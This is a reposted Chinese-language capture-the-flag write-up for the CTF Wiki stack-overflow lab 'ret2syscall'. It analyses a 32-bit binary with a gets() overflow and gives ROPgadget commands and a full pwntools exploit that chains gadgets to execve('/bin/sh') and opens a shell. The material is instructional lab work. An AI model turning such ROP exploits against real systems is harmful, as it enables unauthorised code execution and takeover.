[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall相关的知识,希望对你有一定的参考价值。

1、检查保护机制

checksec的结果:
在这里插入图片描述

2、IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

3、解题思路

ROP链构成syscall
**第一步:**计算return address的位置(过程略):112偏移。
在这里插入图片描述
**第二步:ROP链的功能:execve("/bin/sh",NULL,NULL),即通过系统调用获得shell。
其中,该程序是 32 位,传参过程为:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

按上述要求拼成ROP链,由于寄存器传参与堆栈无关,因此,pop的顺序是可以调整的,下面是一种解决方案:
在这里插入图片描述
涉及到的一些操作指令为:

ROPgadget --binary rop --only "pop|ret" |grep rdx
ROPgadget --binary rop --only "pop|ret" |grep edx
ROPgadget --binary rop --only "pop|ret" |grep ecx
ROPgadget --binary rop  --string '/bin/sh'

4、exp

exp为:

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
#pop_edx_ecx_ebx_ret = 0x0806eb90
pop_edx_ret = 0x0806eb6a
pop_ecx_ebx_ret = 0x0806eb91

int_0x80 = 0x08049421
binsh = 0x80be408
#payload = flat(
#    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
payload = flat(
    ['A' * 112, pop_edx_ret, 0, pop_ecx_ebx_ret, 0, binsh, pop_eax_ret, 0xb, int_0x80])
sh.sendline(payload)
sh.interactive()

以上是关于[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg